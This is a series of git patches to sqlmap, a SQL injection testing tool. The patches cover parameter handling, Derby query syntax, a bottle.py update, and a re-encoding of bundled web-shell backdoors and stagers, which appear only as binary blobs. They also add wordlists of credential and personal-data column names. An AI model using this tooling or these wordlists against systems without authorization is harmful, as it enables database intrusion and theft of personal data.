DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) From d3bfe59401d0b756d4faf8093e732d7233358847 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:40:42 +0100 Subject: [PATCH 22/43] Fixes #5308 --- lib/controller/controller.py | 18 ++++++++++++++++++ lib/core/option.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2ea81d9c2..22cd58161 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -568,6 +568,24 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + testSqlInj = False + kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/option.py b/lib/core/option.py index 72d834d07..2d50d84f9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2145,6 +2145,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b6a74fac..e37f909ab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.5" +VERSION = "1.7.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4357b0087d4152caba0bb04b702d9b119dfbc537 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:49:42 +0100 Subject: [PATCH 23/43] Minor refactoring for #5308 --- lib/controller/controller.py | 35 +++++++++++++++++------------------ lib/core/settings.py | 2 +- 2 files changed, 18 insertions(+), 19 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 22cd58161..8441279a9 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -512,6 +512,23 @@ def start(): testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + if paramKey in kb.testedParams: testSqlInj = False @@ -568,24 +585,6 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - if kb.processUserMarks: - if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - if kb.processNonCustom is None: - message = "other non-custom parameters found. " - message += "Do you want to process them too? [Y/n/q] " - choice = readInput(message, default='Y').upper() - - if choice == 'Q': - raise SqlmapUserQuitException - else: - kb.processNonCustom = choice == 'Y' - - if not kb.processNonCustom: - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.info(infoMsg) - - testSqlInj = False - kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/settings.py b/lib/core/settings.py index e37f909ab..bdd4fcc04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.6" +VERSION = "1.7.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c5d7c542a2d0c7df8dc6d867e33a4d95bbdd61ff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Feb 2023 17:12:38 +0100 Subject: [PATCH 24/43] Update for Apache Derby (#5315) --- data/xml/queries.xml | 12 ++++++------ lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a3e006ccb..300e70975 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -938,8 +938,8 @@ - - + + @@ -962,11 +962,11 @@ - + - + @@ -975,11 +975,11 @@ - + - + diff --git a/lib/core/agent.py b/lib/core/agent.py index 53ef84a08..539183e3f 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1028,7 +1028,7 @@ class Agent(object): limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): diff --git a/lib/core/settings.py b/lib/core/settings.py index bdd4fcc04..c5e94944a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.7" +VERSION = "1.7.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 2a5a77973..19d6f4c7c 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "testing %s" % DBMS.DERBY logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") if result: infoMsg = "confirming %s" % DBMS.DERBY From 56177c3d2a7776f4afb8cbe2a1b52ce535060d61 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 13:32:38 +0100 Subject: [PATCH 25/43] Minor update of common tables/columns --- data/txt/common-columns.txt | 32 ++++++++++++++++++++++++++++++++ data/txt/common-tables.txt | 8 ++++++++ lib/core/settings.py | 2 +- 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index b2e00b345..0dd562736 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1844,6 +1844,10 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp @@ -2731,6 +2735,34 @@ ssn account confidential +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + # Misc u_pass diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8776e2e88..6e9125c0e 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3578,3 +3578,11 @@ users user_usergroup_map viewlevels weblinks + +# site:nl + +gebruikers + +# site:cn + +yonghu diff --git a/lib/core/settings.py b/lib/core/settings.py index c5e94944a..d62b8d90b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.8" +VERSION = "1.7.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 01310a47fdddfa48e7f658b35d9a8225ac27ab64 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:35:35 +0100 Subject: [PATCH 26/43] Minor update --- doc/CHANGELOG.md | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1281080c0..a6c344a34 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,8 @@ +# Version 1.7 (2022-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) diff --git a/lib/core/settings.py b/lib/core/settings.py index d62b8d90b..a871a8921 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.9" +VERSION = "1.7.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15d9c8f9ede7e359fbe6d5f7555d3bd9e4faa2c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:44:56 +0100 Subject: [PATCH 27/43] Updating bottlepy to the latest revision --- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 80 ++++++++++++++++--------------------- 2 files changed, 35 insertions(+), 47 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a871a8921..71e4a85c5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.10" +VERSION = "1.7.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 48aefbb69..916e2607d 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -69,12 +69,12 @@ if __name__ == '__main__': # Imports and Python 2/3 unification ########################################## ############################################################################### -import base64, calendar, cgi, email.utils, functools, hmac, imp, itertools,\ +import base64, calendar, cgi, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile +from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize @@ -83,34 +83,6 @@ try: except ImportError: from json import dumps as json_dumps, loads as json_lds -# inspect.getargspec was removed in Python 3.6, use -# Signature-based version where we can (Python 3.3+) -try: - from inspect import signature - def getargspec(func): - params = signature(func).parameters - args, varargs, keywords, defaults = [], None, None, [] - for name, param in params.items(): - if param.kind == param.VAR_POSITIONAL: - varargs = name - elif param.kind == param.VAR_KEYWORD: - keywords = name - else: - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - return (args, varargs, keywords, tuple(defaults) or None) -except ImportError: - try: - from inspect import getfullargspec - def getargspec(func): - spec = getfullargspec(func) - kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) - return kwargs, spec[1], spec[2], spec[3] - except ImportError: - from inspect import getargspec - - py = sys.version_info py3k = py.major > 2 @@ -123,9 +95,17 @@ if py3k: urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module import pickle from io import BytesIO import configparser + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] basestring = str unicode = str @@ -143,9 +123,12 @@ else: # 2.x from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser from collections import MutableMapping as DictMixin + from inspect import getargspec + unicode = unicode json_loads = json_lds exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) @@ -256,6 +239,7 @@ class lazy_attribute(object): setattr(cls, self.__name__, value) return value + ############################################################################### # Exceptions and Events ####################################################### ############################################################################### @@ -1353,7 +1337,7 @@ class BaseRequest(object): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: - body, tmp = TemporaryFile(mode='w+b'), body + body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True @@ -2010,6 +1994,7 @@ class JSONPlugin(object): dumps = self.json_dumps if not self.json_dumps: return callback + @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) @@ -2057,7 +2042,7 @@ class _ImportRedirect(object): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) + self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], @@ -2066,10 +2051,15 @@ class _ImportRedirect(object): }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname = fullname.rsplit('.', 1)[0] - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self def load_module(self, fullname): @@ -2825,18 +2815,15 @@ def redirect(url, code=None): raise res -def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024, close=False): - """ Yield chunks from a range in a file, optionally closing it at the end. - No chunk is bigger than maxread. """ +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) + while limit > 0: + part = fp.read(min(limit, bufsize)) if not part: break - bytes -= len(part) + limit -= len(part) yield part - if close: - fp.close() def static_file(filename, root, @@ -2940,9 +2927,10 @@ def static_file(filename, root, if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] + rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) - headers["Content-Length"] = str(end - offset) - if body: body = _file_iter_range(body, offset, end - offset, close=True) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) @@ -3359,7 +3347,7 @@ class MeinheldServer(ServerAdapter): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover depr(0, 13, "fapws3 is not maintained and support will be dropped.") @@ -4276,7 +4264,7 @@ def view(tpl_name, **defaults): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result return wrapper From 1f82d9587a78ecee9b9e8274d83a359cc59f546b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:08:49 +0100 Subject: [PATCH 28/43] Minor patch --- lib/core/settings.py | 2 +- lib/core/threads.py | 16 ++++++++++------ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 71e4a85c5..7be8208c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.11" +VERSION = "1.7.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 4999b8491..8b5a21def 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission from __future__ import print_function import difflib +import sqlite3 import threading import time import traceback @@ -227,16 +228,19 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() - except: + except Exception as ex: print() if not kb.multipleCtrlC: - from lib.core.common import unhandledExceptionMessage + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False From 25fe5dce211366cd41dafc8fc304770e4008d9fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:17:09 +0100 Subject: [PATCH 29/43] Minor update --- .github/ISSUE_TEMPLATE/bug_report.md | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index b7753a255..0a2d0fe4a 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Running environment:** - - sqlmap version [e.g. 1.3.5.93#dev] - - Installation method [e.g. git] - - Operating system: [e.g. Microsoft Windows 10] - - Python version [e.g. 3.5.2] + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] diff --git a/lib/core/settings.py b/lib/core/settings.py index 7be8208c3..3a038d91a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.12" +VERSION = "1.7.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d5547d908ccb79519a3852e7d0b46ab41b7be559 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:20:15 +0100 Subject: [PATCH 30/43] Periodic recloak --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/12/lib_postgresqludf_sys.so_ | Bin 3257 -> 3257 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes lib/core/settings.py | 2 +- 46 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 5a81545e020ea8d948e3cde1aaf919b72d0d5144..bc912038c7d86ba294f7666855fbd54882c1fe05 100644 GIT binary patch literal 243 zcmV+5QGZRwz+!(bdj?saKaD;5;n8f6+}W~(3=UnrHep=d%{3Fz z9SWhR3tefdzO!1X!7A_q2yjn)*i&l|oa2+@tk6RODSgl0f&r;mH& zv|)cTx!?UL8ota>a^uH1Lx0n$m2U7QW($>~-<($f8iH?C!M50s|+!bcN~h^zC;eZ)j_YbGus=_2l*DqS)vYjIMfl>m!@ z3Bsy*&@8ty{kzC%uI->+K5 zn`CZhy8gf#Ae+Ka3d80ZYeon9r8E+h1>L%4p^!K;eQ3VgE?}Qb3M+ZYp5w0oHs*viu!UQcBtc~9r1&c z6s_m~@o3vb!k&=3h|Wp#^YVw+rF7`gw$T!lYQRUF7`q;NXDOB08E7MUNbUzS#KE|) zDA%@%gTI(S^GC+(bPZj(MbfmPBSbkT)^ys+H7*6=KSOL$#(hRHL3s_~ku=@Df9a5i z9F*3yi;8iB)Le_=?=myAQujT!$$ALe#LIi5lg=H)h~uwlv#M#|9^86#HR_}1B5uNA zrk)51m-JgK9 z4we~Vy!BA6s5!}Rpzm+|okIt;XB>4naDVDrhD@oXF+rcY*Lc1c`q=)&Cxxl|-m0`K zZPL+O2%n1*qRL1}eSQyq>qFR3tb6N#obcfm||RKk0!|k={8Cq LInkIxUuv?Osu0)B literal 417 zcmV;S0bc$+($XQA6R~A=H`Umd=-fhYe!N0AEvg=3li_)g{igEdbweT;dP~}OSV4FW%NGybm8c7~Ya?1%byy2OS z2hykCfS#pt$zsUs3@v<^YS*RoAY}v<>`~OpO%5c$5Jr6j#aw#>dt3wI=@k5*Q0#%y zAGPa-v9EuFtbD4&z&9e{QPu#2^Irzryz5$myvq!ci^7sxiH~RBX8c=K8t<~QAy5BP zoV%nD0hN1zs+)4v2u6IBH=>nyv(D+^?l9Bv=>)#{6&ZqDN9^_Xg-C#xq+= LI`E}%Wly}Dn^@JY diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index 8d01202f00f60d8abf559d8b1a3abc912e80d389..f798ea5778c5d1a0e0f78434e59d800d1da08dfa 100644 GIT binary patch literal 359 zcmV-t0hskb!+$Z#v>C=>w&B%E5@*^lNB6Grq( zPb#LPt_!T$&~i)YK!svLRR^lH_GgVUigp8Y$yC-iYI)0(^6)E6iTH4P3YO2v*0FW? z;yH(8K)|aBe*ZLWGYIzo4-slnOTkV`GC`N0fl>CPLll1Mk2GxU_^`|34;Vj<&;)~k zySnnZodTng85FOA;`ZGZZPXD0nbtpj4{hA_=|~h~97W>Qsq_p&V-)TV;eB=rf`{95 z`~af}W#PKg&IuBbN?q@G1l*c@&Fx21g3gTrFE?`b*nk5aevWaTfKjK;L@mw@h-x?R zVq(y8C*(u#Kr8P!%&z#iN?jv=@h~lMYQj_UlF^-W%ld_%{#z(_bUDzsnJd1C33sQa Fxl%|wva|pI literal 359 zcmV-t0hs+adBXr0LHQ(dFzT9J| zJqc;g)C57Ww_Z9!QM0~P&6PU3zfeyWl(^GcZdZ27VEhmeW*B^KsZW5?Si9-Ss*dirGy`FtfqPu8~yP z%{-PdL*bS?MA|xSODNagAQXE9NZ@mL2xOU``El2UY!Pq2j1^Je!j;A1cQ_ub{{fQK zxSP+5rzfqEVKk1T&GXDdZuKlMqw_I+cTN4&#!Uq_A7tO>lhFb~8#K=^&Uj~Efu`n0 z#wD!?9l@LP;S2-CNqo{uKKYbyg+4FQHwP~U8Gvw$wnxjEO&7+!T+_==_1S4~c70+PQGjjzZy#10w z2yl}YvvZ_UnOnEapUulLVA4;Z3F++JYL&Rf111<_(mPRQ#NRlA483lGEZ7Q`xF1FN zKbPye4R@WI4$p@R593@|v3WLe!(9g*fb!|x;>J0t4{%4O2y1IAYB@h+0O4A8%0j%8qsUS&H-t`ENN5Ol0{BIu9A z-ea}I{505kT1o#LP5KLd+t4)7H_4EzvpKq3p?F_kTUXszGqB`7v`5wZWE6P5(-UD( z{maf4z9&KMHlKKO$iFPGcq1O?@xhXPj&5oNL4nJyuO+SM(xKCfy@BmWk|7Lr!^$P% zDidt4I3B6D6xg(Tp*k@{u2^gVWUS*yA^;cTi@BCvJLvX&3@gI?N7p&5gED z+KOS=YP=yyA#DmyN84W=$_b(X3(=Q}bH{sBbnu=+p@T|@?Ylq#_AXjF|<4eg$h 